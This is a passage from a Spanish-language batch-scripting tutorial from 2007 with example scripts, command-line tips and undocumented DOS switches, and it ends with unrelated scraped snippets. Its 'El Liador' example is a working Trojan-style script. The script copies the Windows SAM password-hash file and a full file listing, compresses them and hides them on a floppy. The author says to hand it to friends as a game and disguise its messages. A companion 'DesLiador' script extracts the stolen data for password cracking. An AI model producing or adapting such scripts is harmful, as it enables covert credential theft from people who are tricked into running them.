Con ese archivo batch, se iniciará el bloc de notas, pero la ventana del intérprete de comandos MS-DOS no se cerrará hasta que se cierre el bloc de notas. Sin embargo, en este caso:

start notepad exit

Se ejecutará la instrucción exit antes de que se cierre el proceso del bloc de notas.

3) EJEMPLOS

Bueno, seguro que estabas esperando algún ejemplo para sentirte más realizado, y usarlo de plantilla... ¡Pues aquí estoy yo para ayudarte! Empowering yourself, o algo así...

Cada línea rem comenta a la(s) anterior(es).

a) Ejemplo 1

Un informe completo netstat. <++> batch\netstat.bat @echo off

title Informe: Netstat + PID + ip

rem >>>Cambiar el título de la ventana echo -- Netstat + PID + ip 1.0

echo.

if exist %temp%\informe.txt ( rem >>>Si existe informe.txt

echo Borrando archivo antiguo del %temp%\informe.txt rem >>>Se borra

echo Continuando el proceso echo.

(26)

) else (

rem >>>Y en caso contrario... echo.

rem >>>No se hace nada. )

echo - Generando netstat -a -o... netstat -a -o > %temp%\informe.txt

rem >>>Crea un informe netstat -a -o y lo guarda con ese nombre echo - Generado con exito.

echo.

echo - Generando netstat -a -o -n... echo. >> %temp%\informe.txt echo. >> %temp%\informe.txt

rem >>>Crea dos líneas en blanco y las guarda en el archivo

echo --- IPs y puertos en formato numérico: >> %temp%\informe.txt netstat -a -o -n >> %temp%\informe.txt

rem >>>Anexa al contenido de informe.txt un netstat -a -o -n echo - Generado con éxito.

echo.

echo - Abriendo con notepad...

echo - Esperando respuesta del usuario... call notepad %temp%\informe.txt

rem >>>Llama al Bloc de Notas, con el contenido del archivo. rem >>>Hasta que no se cierre el Bloc, no se continua.

rem >>>Esto es así para que no quede un informe.txt residual, en %temp%. echo

echo - Eliminando... del %temp%\informe.txt

rem >>>Se supone que se ha acabado de ver, así que se borra el informe. echo ¡Tarea completada!

exit <-->

b) Ejemplo 2

Bueno, esta es la primera entrega de un programa llamado "El Liador", luego verás el funcionamiento. Comentado, como siempre.

<++> batch\liador.bat @echo off

cls

title El Liador v1.0 - VERSION LIGHT - (c) Nost 2006 echo El Liador v1.0 - VERSION LIGHT - (c) Nost 2006 rem >>> el echo off, el cls, los echos y el title... lo típico. echo.

echo Advertencia: Esta versión de El Liador no guarda el árbol de directorios. pause

(27)

rem >>>Esperando...

echo Creando carpeta temporal... if exist %temp%\battemp (

rem >>>Si existe la carpeta temporal... echo.

echo Ya había un temporal de El Liador, probablemente debido a un error echo del programa o a un cierre inesperado. Pulsa cualquier tecla para echo borrarla, en caso contrario, cierra la ventana con un clic en [X] pause >nul

rd %temp%\battemp /q /s

rem >>>se borra la carpeta, pidiendo confirmación.

echo Archivos temporales de El Liador borrados. Continuando el proceso... echo.

) else (

rem >>>Y en otro caso... echo.

rem >>> No se hace nada. )

md %temp%\battemp >nul

rem >>> Se crea la carpeta. si hay algún error, que se lo cuente a nul. echo.

echo 1a parte: detalles de archivos. Tiempo estimado: 60-200 segundos. echo Creando archivo 1...

dir c:\ /s /o:g > %temp%\battemp\parte1

rem >>> Detalles de archivos /s=mostrar subcarpetas, /o:g=mostrar primero dirs echo Archivo 1 creado con éxito.

echo.

echo 2a parte: archivo SAM

copy c:\windows\repair\sam %temp%\battemp\parte2

rem >>> Copiar el sam, listo para el l0pht. Recuerda que algunos lamers usan la contraseña del Windows para todo.

echo.

echo 3a parte: compresión. echo Comprimiendo archivo 1...

@makecab %temp%\battemp\parte1 %temp%\battemp\parte1._ >nul rem >>> Compresión del archivo...

echo Archivo 1 comprimido. echo Comprimiendo archivo 2...

@makecab %temp%\battemp\parte2 %temp%\battemp\parte2._ >nul echo Archivo 2 comprimido.

echo.

echo Introduce un diskette formateado en la unidad A: pause

if exist a:\Liador\parte1._ (

rem >>> Si ya existe eso en el diskette echo-

(28)

echo Si no quieres eliminarlo, cierra la ventana de El Liador. pause

rd a:\Liador /q /s

rem >>> se pregunta, y si se acepta, se borra todo.

echo Archivos antiguos de El Liador borrados. Continuando el proceso... echo.

) else ( echo. )

echo Copiando archivos a a:\Liador\ md a:\Liador

copy %temp%\battemp\parte1._ a:\Liador\ >> %temp%\battemp\errores echo Archivo 1 copiado.

copy %temp%\battemp\parte2._ a:\Liador\ >> %temp%\battemp\errores rem >>> Copiamos los archivos.

echo Archivo 2 copiado.

echo Creado con El Liador Light > a:\Liador\version._ echo.

echo Ocultando... attrib a:\Liador\* * +h

rem >>> Se ocultan los archivos. attrib a:\Liador +h /D /S

rem >>> Y se oculta el directorio. echo Archivos ocultados.

echo.

echo Fin de copia de archivos. echo.

echo Eliminando temporales... rd %temp%\battemp /q /s

rem >>> Se eliminan los temporales. echo Tarea completada!

pause exit <-->

Bueno, pues hay cosas que explicar:

Nul: Esto es una redirección, que hace que la salida del programa se pierda. Esto es útil para hacer un programa no tenga salida, es decir, que sea "silencioso".

Este programa es para putear a tus amigos. Lo llevas a su casa diciendo que es un juego, y los muy ingenuos lo ejecutan. Evidentemente, tienes que cambiar los echos ("Detalles de archivos" > "Instalando juego" xD) para que no cante tanto. También puedes hacer algo de cierto, por ejemplo, que copie algún tipo de archivo al disco duro, luego lo borre del disquete (por los frecuentes problemas de espacio) y que luego siga con su tarea :)

(29)

Si has hecho el programa anterior, y lo has ejecutado, necesitaras este para obtener los datos del diskette.

<++> batch\desliador.bat @echo off

cls

title El DesLiador v1.0 - (c) Nost 2006 echo El DesLiador v1.0 - (c) Nost 2006 echo.

rem >>> Pues lo dicho, los echos.

echo Introduce un diskette con datos de El Liador en la unidad A: ... pause

if exist a:\Liador\version._ (

rem >>> Si hay un archivo de el liador. echo.

rem >>> Pues no pasa nada, se continua. ) else (

echo.

echo No hay un archivo de trabajo de El Liador en el diskette introducido. echo El DesLiador no puede continuar.

pause exit

rem >>> Pero como no lo haya... ¡UY, COMO NO LO HAYA! jejeje pues el programa no puede continuar.

)

echo Creando carpeta de trabajo del DesLiador... if exist %systemdrive%\DesLiador\version (

rem >>> Si ya hay un archivo de El DesLiador en el disco duro (el archivo ya descomprimido). echo.

echo Ya hay una carpeta de trabajo con archivos de El Liador. Si continuas y no echo habías copiado los ficheros, serán borrados permanentemente.

echo Puedes cancelar cerrando la ventana de El DesLiador. pause

rd %systemdrive%\DesLiador /q /s

rem >>> Es una pena. Los archivos serán borrados :'(

echo Archivos de trabajo de El Liador borrados. Continuando el proceso... echo.

) else ( echo.

rem >>> Si no, pues nada. )

md %systemdrive%\DesLiador rem >>> Se crea la carpeta. echo.

echo 1a parte: detalles de archivos. echo Copiando archivo 1...

(30)

attrib a:\Liador\parte1._ -h

rem >>> Se quita el atributo oculto, para evitar problemas con copy. copy a:\Liador\parte1._ %systemdrive%\DesLiador\parte1._

rem >>> Y se copia.

attrib a:\Liador\parte1._ +h

rem >>> Se vuelve a establecer el atributo. echo Descomprimiendo archivo 1...

expand %systemdrive%\DesLiador\parte1._ %systemdrive%\DesLiador\detalles1 >nul rem >>> Descompresión del archivo.

del %systemdrive%\DesLiador\parte1

rem >>> Una vez descomprimido el archivo, se borra el archivo comprimido. De todas formas, si lo quieres lo tienes en el diskette... pero no creo que te haga falta, teniendo el descomprimido. echo Archivo 1 descomprimido con éxito.

echo.

echo 2a parte: copia y descompresión del archivo SAM. echo Copiando archivo SAM...

attrib a:\Liador\parte2._ -h

copy a:\Liador\parte2._ %systemdrive%\DesLiador\parte2._ attrib a:\Liador\parte2._ +h

echo Descomprimiendo archivo SAM...

expand %systemdrive%\DesLiador\parte4._ %systemdrive%\DesLiador\SAM2 >nul del %systemdrive%\DesLiador\parte4._

rem >>> Se hace lo propio con el Sam. echo Archivo SAM descomprimido con éxito. echo.

echo 3a parte: copia del archivo de control. attrib a:\Liador\version._ -h

copy a:\Liador\version._ %systemdrive%\DesLiador\version

echo rd %systemdrive%\DesLiador /q /s > %systemdrive%\DesLiador\Borrar-todo.bat rem >>> Se auto-genera un archivo para borrar todos los datos de El Desliador. attrib a:\Liador\version._ +h

echo Archivo de control copiado con éxito. echo.

echo 4a parte: borrado del diskette

echo Esta parte no es realmente necesaria, pero es recomendable para no dejar echo "rastro" en el diskette. Recuerda que puedes cancelar cerrando la

echo ventana de El DesLiador. pause

attrib a:\Liador -h /S /D

rem >>> Se quita el atributo del directorio... rd a:\Liador /q /s

rem >>> ¡Y a la mierda! echo ¡Tarea completada! pause

exit <-->

(31)

Bueno, todo un ejemplo... yo creo que excepto el for, se toca todo...

d) Ejemplo 4

<++> batch\dirsimple.bat @echo off

for %%A in (*) do echo %%A exit

<-->

Jaja no tengo ganas de escribir. Ahí está un código sencillo para un dir simple. Es que tenía la obligación moral de usar un for.

4) APÉNDICE

a) TIPS de cómo usar el intérprete de comandos y el batching.

-El batching no es potente. Son los programas que usan el batching los que cortan el bacalao. Aunque quizás yo no tenga razón.

-Mientras estés en una ventana del intérprete de comandos, puedes parar cualquier tipo de proceso (ejecutable, batch) con un Control-C.

-Ante la duda la más tetuda.

-Hay diferencias entre el mapa de caracteres usado en el DOS y en el Windows. Pruébalo: 1: Crea un fichero que tenga acentos en el nombre.

2: Vete al intérprete de comandos, entra en la carpeta donde esté situado el archivo anterior (usando cd) y escribe: dir > listado.txt.

3: Ahora lee el nuevo archivo, listado.txt. Verás que los acentos ya no son tan bonitos como los pintaban.

-Como ya sabrás, escribiendo "echo %variablee%" en la consola se escribirá el contenido de la variable. Bueno, pues hay varias variables "especiales" que quizá te interesen:

%CD%: Directorio actual. %DATE%: Fecha actual. %TIME%: Hora actual.

%RANDOM%: Número aleatorio entre 0 y 32767.

%ERRORLEVEL%: Errorlevel actual (código de salida del último programa). %CMDEXTVERSION%: Versión de las extensiones de comando del procesador. %CMDCMDLINE%: Ruta del programa que invoco al intérprete de comandos.

(32)

-En batching, nada funciona a la primera.

-La pila del intérprete de comandos tiende a desbordarse.

Crea un fichero llamado "desbordamiento.bat" e incluye en el la siguiente línea: @call desbordamiento

Haz doble clic sobre él y en breves segundos un divertido mensaje aparecerá. Divertido sobre todo porque de las 3 líneas, la última tiene un error de ortografía (al menos en mi diccionario la palabra "precesamiento" no aparece).

-Escribe en tu consola "copy con con". Insulta a la consola, escribe lo que quieras. Cuando te canses (pronto, seguro) pulsa Control-C.

-Rubia de bote, chocho morenote.

-¿Conoces los comodines de archivo? Si hombree, estos: ?: Reemplaza una letra en el archivo. Por ejemplo, escribir:

dir c?s?

Daría los siguientes resultados (si están en tu lista de archivos, claro): casa

cesa cosa case c_s&

*: Reemplaza cualquier cadena de letras. Por ejemplo:

dir Me* Resultaría: Mezquino Mellizo Melón Me cago en tu padre

-El comando VERIFY activa la verificacion all escribir en un disco. Pruébalo.

-Aunque la ventana del intérprete de comandos es más negra que los cojones de Diarra (el del

R. Madrid), la puedes cambiar con "color". Dale un aspecto más profesional a tu ventana escribiendo:

(33)

color 0a

Para ver todos los colores posibles, "color /?" es tu aliado ;)

-El goto es un ataque directo contra la programación estructurada. Todo el mundo lo dice. Pero a mí me da igual. Úsalo.

-Si vienes del DOS, conocerás doskey. Solo decirte que pulsar F7 en el intérprete de comandos es algo más que interesante.

-El comando VER no sirve para nada. Bueno, tiene la utilidad que tú quieras darle. -Desconozco la utilidad del comando "print"… Será porque no tengo impresora.

-El comando "xcopy" te permite copiar árboles de directorios. Escribe "xcopy /?" para ver algo de la sintaxis.

-Como recordarás, los argumentos al llamar un archivo batch tienen de nombre %1, %2... etc. Pero quizás no conocías %0. Este argumento representa la línea de comando desde la que se llamó al archivo batch.

-El comando "edit" debería estar prohibido por ley y solo debe usarse en situaciones de emergencia (era una broma, en realidad es buenísimo).

-El uso de un punto INMEDIATAMENTE después de algunos comandos del DOS funcionará como *.*

Ejemplos:

DEL. (borra todos los archivos del directorio actual)

COPY. A:\ (copia todos los archivos del directorio actual a A:) Puede haber más comandos con los que funcione lo del punto.

-Con los comandos "time" y "date" puedes cambiar... bueno, ya lo descubrirás. Pueden servirte para molestar a la gente. Ya lo veras, coño.

-Prueba el comando PROMPT. Es bueno. "prompt /?".

-Otra interesante manera de volver loco al intérprete de comandos es "cmd | more". Desde luego es gracioso. Pulsa Control-C y aparecerá un error muy raro. Para salir, escribe exit (la consola no se cerrara).

b) ARCHIVOS EXTRAÑOS que nadie debería conocer

(34)

Bueno, pues no queda muy claro para lo que sirve. Digamos que cuando actúa como dispositivo de entrada es el teclado, y cuando actúa como dispositivo de salida, es la pantalla. Esto se usa con operadores de redirección. Que mejor manera de explicar lo ininteligible que con un ejemplo:

copy con archivo.txt

Parece que no pasa nada, tu solo limítate a escribir. Cuando quieras escribir, pulsa Control-Z. Esto significa "fin de archivo". Ahora se ha creado un nuevo archivo, e incluye lo que has escrito. Como recuerdas, el comando copy tiene:

copy entrada salida

Pero antes hemos usado "con" como entrada. Pero, ¿y si lo usamos como salida? Teóricamente, sería la pantalla...

copy archivo.txt con

¡Efectivamente! Funciona bien. En la pantalla ha aparecido el contenido del archivo archivo.txt

NUL

Todo lo que mandes a este "archivo" se ira a tomar por culo. Parece inútil, pero es bastante útil. dir > nul

Parece que no ha pasado nada. Bueno, realmente sí que ha pasado, ha acaecido un dir, pero no ha salido por pantalla. La salida ha ido a nul, y de ahí, a la mierda.

Nul sirve solamente para deshacerse de la salida de los programas.

LPTx

Manda la salida del comando al puerto LPT especificado. dir > LPT3

COMx

Manda la salida del comando al puerto COM especificado. dir > COM5

AUX

La verdad es que no tengo ni idea de que dispositivo representa. Creo que es el modem, pero no estoy seguro.

(35)

Lo que pongas va directamente a la impresora. dir > PRN

Y la verdad es que ya no recuerdo ninguno más.

Por cierto, como comprenderás, ningún archivo puede tener esos nombres. Inténtalo, aunque sea desde el explorador de Windows. 20 euretes a quien consiga ponerle de nombre "nul" a un archivo. La mayoría de los comandos del MS-DOS tienen un comportamiento errático al pasarle de argumento cualquiera de esos nombres. Un "edit con" vuelve al edit completamente gilipollas. Parece que no pasa nada, pero si pulsas Control-C se muestra la pantalla principal (como se puede ver, nunca acaba de cargar) y un "dir nul" hace que el dir tenga una salida extraña.

c) CARACTERES EXTRAÑOS que hacen cosas raras

No sé si os habéis fijado, pero al pulsar Control-C se escribe ^C. Pero hay algo más, si os fijáis, aunque se escriben 2 letras, si retrocedes pulsando la flecha izquierda (me refiero a <-) se comporta como si fuera una sola letra.

Aquí, la lista:

1a columna, decimal; 2a columna, hexadecimal; 3a columna, símbolo Control+?, 4a columna, representación gráfica; 5a columna, explicación inútil.

Dc\\Hx\\C+\\Represntcn. gráfica \\Explicacion inútil 00 00 ?? Sin representación Carácter nulo 01 01 ^A Carita negra

02 02 ^B Carita blanca

03 03 ^C Corazón Cancelar, break y otras rarezas 04 04 ^D Rombo

05 05 ^E Tréboles 06 06 ^F Picas

07 07 ^G Pitido Y pitido también :)

08 08 ^H PuntoBlancoFondoNegro Retroceso (borrar un carácter hacia atrás) 09 09 ^I Tabulador Tabulador

10 0A ^J Salto de línea Retorno de carro

11 0B ^K Masculino No parece que haga nada 12 0C ^L Femenino Igual que el anterior 13 0D ^M Salto de línea Fin de línea

14 0E ^N Una semicorchea 15 0F ^O Parece una... ¿estrella? 16 10 ^P Triangulo a la derecha 17 11 ^Q Triangulo a la izqda. 18 12 ^R Doble flecha arr-aba

19 13 ^S 2 símbolos exclamación Sé que existe, pero no consigo escribirlo 20 14 ^T Símbolo del antigrafo

(36)

21 15 ^U Símbolo de sección 22 16 ^V Subrayado gordete 23 17 ^W Doble flecha subrayada 24 18 ^X Flecha hacia arriba 25 19 ^Y Flecha hacia abajo

26 1A ^Z Flecha derecha Fin de fichero 27 1B ^[ Flecha izquierda

28 1C ^\ Cosa muy rara, como el símbolo � pero dado la vuelta 29 1D ^] Doble flecha izq-der

30 1E ^^ Triangulo hacia arriba 31 1F ^_ Triangulo hacia abajo

32 20 __ Espacio (aunque este ya es una carácter normal) Dc//Hx//C+//Represntcn. gráfica //Explicación inútil

En la representación gráfica del 08 no me he explicado muy bien: un punto blanco en el centro, con un fondo negro.

A excepción del ^G (bastante útil) no te recomiendo usar ninguno de los demás, porque puedes tener problemas graves con ellos. Se pierden con mucha facilidad y provocan fallos de diversos tipos. Para eso se inventó el UUENCODE y el BASE-64 pero eso sale fuera del alcance de este texto.

d) FUNCIONES INDOCUMENTADAS DEL DOS, o las cosas que no

debieron salir de Microsoft

Esto es una cosa fuera de tema. Entre otras razones: prometí no adentrarme en el DOS (solo hablar del batching) y otra cosa que no prometí pero parece lógica es no hablar de cosas que ya no funcionan, pero este es mi texto, y hago lo que quiero con él.

Todo esto viene traducido de un texto del año de Mari Castaña que ya te imaginas que es poco representativo, pero para rellenar va de puta madre.

TRUENAME (NO funciona en NT)

TRUENAME nombredearchivo TRUENAME nombrededirectorio

Te dice la ruta completa al archivo especificado. TRUENAME también es capaz de ver a través de unidades SUBST o JOIN (prueba "subst /?") por lo que es especialmente útil. También ignora las unidades de red mapeadas.

Otra cosa rara, lo siguiente: TRUENAME \Soy\ElGran\..\Nost Da la respuesta:

(37)

C:\Soy\Nost

Aunque las carpetas \Soy\ElGran\ y el archivo Nost no existan. De todas maneras, supongo que es una función indocumentada por alguna razón.

COMMAND /F (no estoy seguro de si funciona en NT... supongo que sí)

Introducido en la línea de comandos, hará que en los mensajes "Abortar, Reintentar, Ignorar, Error" la respuesta sea siempre "Error".

VER /R (NO funciona en NT)

Muestra detalles adicionales sobre la versión de MS-DOS: MS-DOS Versión 5.00

Revisión A

DOS esta en HMA

FORMAT /AUTOTEST (NO funciona en NT)

Te permite formatear unidades sin que el sistema te haga ninguna pregunta (¿quieres formatear?, ¿etiqueta?, ¿quieres formatear otro?)

FORMAT /U (SÍ funciona en NT... según el concepto que tengas de "funciona")

Según este documentito, debería hacer el disco ilegible... pero después de ponerlo se puede leer. La verdad es que ese modificador /U no está documentado, pero no se para lo que sirve...

FORMAT /Z (NO funciona en NT, ya hay otra función documentada)

Te permite elegir el tamaño de la unidad de asignación.

DIR, (NO funciona en NT)

Con este mini-modificador en DIR, podrás ver todos los archivos, incluidos los ocultos.

DEL. (SIIIIII funciona en NT)

El uso de un punto INMEDIATAMENTE después de algunos comandos del DOS funcionara como *.*

Ejemplos:

DEL. (borra todos los archivos del directorio actual)

COPY. A:\ (copia todos los archivos del directorio actual a A:) Puede haber más comandos con los que funcione lo del punto.

5. NOTA SENTIMENTAL (también llamada "PARANOIAS DE

MIERDA")

(38)

Puedes saltártelo. Mejor dicho: HAZLO.

Ya está, que ya estoy hasta las pelotas de tanto escribir. Digamos que se me ha hecho largo el crear el archivo (mentira) aunque realmente parece que haya tardado 1 año en hacerlo, es mentira, qué más quisiera yo.

Este curso ha sido creado en 15 días. En realidad ha sido editado (y enviado) para SET. Esta especie de disclaimer no será publicado en SET.

La mayoría de los ejemplos han sido probados en Windows 2000 (los de la parte del curso que escribí el año pasado) y TODOS los ejemplos los he vuelto a probar este nuevo año con Windows 2003 (el que uso ahora, mientras escribo estas líneas) y van bien. Pidamos a Dios (y una mierda, yo soy ateo) que funcionen en Windows XP... que yo creo que lo harán.

Recuerda que puedes contactarme en <[email protected]> de 2 maneras: o mandándome un mail (se valorara la ausencia de cabecera falsa) o agregándome al Messenger a la misma dirección, aunque jamás me pillaras conectado.

Otra cosa: la programación en batch es una mierda. Pásate al Visual Basic. Yo lo hice, y ahora estoy intentándolo con el C. En cualquier caso, te deseo suerte, y te aviso: ninguna empresa te contratara sabiendo batch. A no ser que hagas una nueva versión del HalfLife usando solo archivos batch, en cuyo caso estaría encantado de ser beta-tester.

Bueno, y dejo de amargaros ya, coño.

Mención especial a los de HACKHiSPANO, que me aguantan (y que no me banean, y mira que intento que me baneen pero no lo hacen)...

Nost

Sevilla, España Septiembre de 2007

Referencias

Documento similar

Esta formación se produce mediante el doctorado (13 alumnos, lo que significa el 32% de los encuestados), diferentes másteres entre los que destacan de nuevo el de Profesorado

Tras haber conseguido trasladar la importancia del drama de la despoblación a toda la sociedad, este año 4GATOS pretende escapar del victimismo y la lamentación y abordar la

Reglamento (CE) nº 1069/2009 del parlamento Europeo y del Consejo de 21 de octubre de 2009 por el que se establecen las normas sanitarias apli- cables a los subproductos animales y

¿Cómo se traduce la incorporación de ésta en la idea de museo?; ¿Es útil un museo si no puede concebirse como un proyecto cultural colectivo?; ¿Cómo puede ayudar el procomún

4.- Másteres del ámbito de la Biología Molecular y Biotecnología (9% de los títulos. Destaca el de Biotecnología Molecular de la UB con un 4% y se incluyen otros

Debido a la calidad y el legado de nuestra compañía, los cuales se reflejan en nuestros pianos, elegir un instrumento hecho por Steinway &amp; Sons tiende a ser una decisión

- Un curso formativo para los técnicos de laboratorio de la UPV sobre la prevención de los residuos en los laboratorios, que se llevará a cabo los días 23, 24, 25, 26 y 27

1. LAS GARANTÍAS CONSTITUCIONALES.—2. C) La reforma constitucional de 1994. D) Las tres etapas del amparo argentino. F) Las vías previas al amparo. H) La acción es judicial en